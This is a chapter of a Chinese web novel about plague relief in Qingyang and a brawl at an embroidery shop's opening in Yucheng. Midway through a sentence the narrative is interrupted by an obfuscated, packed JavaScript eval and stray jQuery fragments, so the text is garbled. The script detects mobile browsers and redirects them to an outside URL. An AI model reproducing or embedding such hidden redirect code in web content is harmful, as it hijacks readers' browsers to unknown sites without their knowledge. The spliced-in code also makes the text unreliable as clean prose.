114. 北上

作品:《世子夫人只想搞事业

    庆阳城的困境,因为刘承礼送来的物资,得以稳定住。这几日,江淮序命张县令按照救援事项进行下去。


    庆阳城的流民已被妥善安置,而一些感染疫病的与未感染者,皆已隔离开来。


    又对全城进行全面杀毒处理。至于那些消失的尸体,江淮序却有了一个大胆的猜测。


    “若我料的没错,那些尸体,只怕已然成了那些变异老鼠的腹中肉。”


    “若真是这样,那事情可就严重了。”刘承礼眉心紧拧,心头沉甸甸的,像压了千金重。


    “这十只八只的还好说,若变异老鼠的数量过多,只怕……”吴太医打了个寒颤,不敢继续往下说。


    “吴太医,你留在庆阳,协助张县令善后。”江淮序安排着,又道:“三月跟我一同前往临仓。”


    “江大人放心,下官定会竭尽全力,护庆阳百姓安危,将这些疫病彻底灭绝。”吴太医满眼感激,说话慷慨激昂,一表忠心。


    实际上,他是怕死。江淮序也不戳破,怕死才是正常人的心理。


    “我也跟你一道去。”刘承礼轻笑一声,“我这人喜欢凑热闹,毕竟,这么大的老鼠,我还是头一回见。”


    “还有,你别劝,劝了我也不听。”


    刘承礼似怕江淮序会反对,提前堵了他的嘴。江淮序就是怕自己前脚刚走,刘承礼后脚便跟着来。


    那还不如俩人一起走,路上也有个照应。


    “不,殿下,你还有更重要的事做。”


    “哦?”


    刘承礼疑惑地看了他一眼,却从江淮序眼中看到了一丝凝重。


    江淮序懂刘承礼,在大事大非面前,刘承礼多了一丝慈悲心,正是这丝慈悲心,让他看到了刘承礼的不同。


    这恐怕与年少时,刘承礼外出游历的经历有关系。这是宫里那几位皇子没法比的地方。


    “四水。”江淮序喊道,吩咐四水拿着从李清正祖坟找到的东西,还有来之前,他调查账簿时,怀疑对象的调查结果,以及变异老鼠的事情回京都,去找苏婉宁。


    四水脚程快,加上他擅长追踪,也就擅长隐匿行踪,这样不容易被对方发现。


    “爷,我若走了,您怎么办?”


    “放心,我自有办法。”


    自有什么办法,江淮序没有说,四水也没多问,他知道,主子行事自有打算。


    戌时一刻,四水备好干粮,上好的马匹,快马加鞭往京都而去。


    次日,江淮序一行人等,前往临仓。


    而刘承礼却称病,并未一同前往。


    与此同时,清风抵达江北渝城。


    正巧碰上渝城有人开张,谁开张的清风不关心,他找了间客栈,叫了些吃食,想着吃饱了再去打听苏遇与宝珠他们的下落。


    却是听得街道上,人群涌动,大家火儿都朝着前面涌去。隔壁桌的人不由议论开来。


    说最近城里有间新开的绣庄,背靠李家。店子开在了渝城最繁华的街道,在绣庄铺面里,是渝城规模最大的绣庄了。


    “哎哟!谁这么大的派头?就不怕得罪李家?”


    “什么得罪李家?听说这背后的人就是李家小少爷呢!”


    “李家那位爷?不是听说失踪近一年了吗?据说是被人给绑了去,大家伙儿都说人怕是没了。”


    “什么没了?那位爷命大着呢!这不,人活得好好的,还回了李家,李会长知道儿子还活着,那是大摆了三天的流水席,宴请全城百姓吃席呢!”


    “咦?有这事儿?我咋不知道。”


    “谁让你前阵子去外地了,没赶上趟呗,那一桌席啊!哎哟哟!简直丰盛得能抵普通百姓一年的收成了。”


    几人聊得火热,说起半月前的那场宴席,就没有人不惊叹于李家的豪气。


    据说是李家老爷子,感念儿子能平安归来,为了给儿子纳福,这才摆了三天的流水席,以示感谢老天垂怜。


    “而这绣庄啊!听说也是李公子从外面带回来的,人也是从外头带回来的。”


    “快吃快吃,吃完了,咱们也去瞧瞧。”


    “我也要去,顺便给我家那婆娘买点绣品。”


    清风越听越觉得熟悉,这些人说的李家公子,好像是说的苏遇。绣庄?


    他记得少夫人娘家丫鬟宝珠,在京都就是经营着绣庄的。


    想到此,清风也顾不得吃了,付了银子,跟着人群,往他们口中所说的绣庄走去。


    李氏家族在渝城的影响力很大,名声也很大,而李老爷子是商会的会长,生意更是做遍了整个昭云国以北,甚至还外通商贸。


    其财富更是达到富可敌国的存在。


    清风寻着人群,来到一处豪华商铺。上面赫然写着‘安宁绣庄’。


    名字似乎与京都的‘方氏绣庄’对不上,但为免错过,清风决定去瞧瞧。


    刚踏进去,就被人给拦下。


    “哪里来的叫花子?还不快出去,可别冲撞了贵人。”


    叫花子?清风一愣,这才左右瞧瞧自己,浑身灰扑扑的,像是从泥堆里爬出来似的。


    若非他给了银子,只怕客栈老板当时就把他给扔出来了。可到了这地儿,那就不一样了。


    说是绣庄,可装潢得富丽堂皇,这店面模式,竟丝毫不输京都的宝珍楼。


    要知道,宝珍楼可是专门卖手饰玉器类的贵重东西。而里头也专门招待达官显贵,普通百姓,压根儿就进不去。


    “我不是叫花子,我来找人的。”清风蹙眉,不由反驳一句。


    那迎门的管事瞧了瞧,满眼的不屑,想着今儿这等大事,少爷交待的事情,可别给办砸了。


    于是不情不愿,从兜里掏出一吊钱塞清风手里,念叨:“去去去,拿了钱快走,别在这儿碍事。”


    清风一愣,这人是把他当叫花子打发呢!


    “我说了,我不是叫花子。”他强调一句。


    那管事瞧了清风一眼,好手好脚的,却是个邋遢货,敢情是嫌弃他给得少?


    若是往常,他非得打断这叫花子的腿不可。但今日是安宁绣庄开业大吉,他忍了,于是又往怀里掏出一吊钱放到清风手里。


    “呐!可别得寸尽尺啊!拿了钱,赶紧滚一边儿去。”


    清风气得冒烟,将手中两吊钱扔进那管事手中,气愤道:“有两个臭钱了不起?我不是来要钱的,我来找人。”


    “嘿!像你这种叫花子我见多了,别给脸不要脸,你若再不走,老子立马打断你的狗腿。”


    清风懒得和他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778393|157369||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    废话,抬脚就要往绣庄里头去,那管事一瞧,这还得了,立马将清风拦下。


    “来人,把他狗腿打断,给我扔出去。”管事嚎一嗓子,立马有四个小厮上前,手中棍棒朝着清风就打下去。


    清风本不想生事,奈何这管事听不懂人话,那他也就不客气。清风一个飞踢,将小厮踢倒。


    那管事一瞧,这还了得,立马上前打人,清风抬手捏住那管事人的手,只听咔嚓一声。


    管事的手臂脱臼,疼得他次牙咧嘴,仍不忘放狠话。


    “死叫花子,你给老子等着,一会儿便叫你好看。”


    管事的立马又喊来更多人,总之今日这等大事,断然不会叫人破坏了去。


    李宅


    李西洲正穿戴整齐,准备今日去绣庄开业剪彩。他穿了一身绯红色,衬得人越发明媚妖气。


    外头有小厮来报,说有人在安宁绣庄闹事。


    李西洲一听,有人上门踢场子,这还了得。立马招呼了南蛮,赶往安宁绣庄。


    枣红马背上,少年一袭绯红锦衣,随风飞扬,在热闹的市集疾驰而过,似一抹艳丽的红日,耀眼夺目。


    远远的,李西洲便见着安宁绣庄门前围了一大群人,而人群中,自家的护卫,手持棍棒,正往一人身上招呼。


    那人蓬头垢面,看不清面貌,但那身手却十分了得。


    渝城什么时候有这号身手了得的叫花子了?他怎么不知道?


    “南蛮,速速给小爷擒下。”


    “是,公子。”南蛮紧跟其后,听到李西洲的吩咐,从马背上飞身而起,直接落在了人群内,加入护卫们的战斗中。


    “快看,是南侍卫。”


    “南侍卫来了,那咱们公子也来了。”


    “这下看这叫花子如何嚣张,一准儿叫他吃不了兜着走。”


    护卫们被清风打得鼻青脸肿,却不想失了面子,见南蛮来帮忙,立马气焰高涨。


    南蛮手中长剑如灵蛇般,朝着清风就剌了过去。


    清风没和南蛮交过手,被突然出现的凌厉剑气,生生逼退半步,不等他喘气,南蛮手中长剑又破空而出。


    直取他咽喉,招势凌厉,杀气磅礴。原本还占上风的他,竟生生被逼得节节败退。


    “南蛮,今儿开张好日子,别见血,把他打残就好。”马背上,红衣少年郎,意气风发。


    出口的话带着些许破碎的张扬感。


    清风一听这熟悉的声音,心头一喜,再一听少年的话,顿时又气得不行。


    好你个苏遇,真真儿黑心暴肠,竟想打残他?


    “苏遇,小崽子,快叫你的人住手。”


    四周吵闹声,围观百姓的议论声,将清风的叫喊声淹没。


    当然,南蛮可不管这人叫什么,敢坏公子的事儿,那就别想好过。


    李西洲自然是没能听到清风的喊声,南蛮的攻势更猛烈了,丝毫不给清风喘息的机会。


    一路的疲惫,心焦心烦。清风这会儿哪里还有半点之前的沉稳,这心头一着急,就容易出错。


    一分神就被南蛮钻了空子,只见南蛮长剑一挑。将清风的剑打飞出去,接着又往她胸口一踹。


    一个四仰八叉,摔倒在地,一口鲜血喷口而出。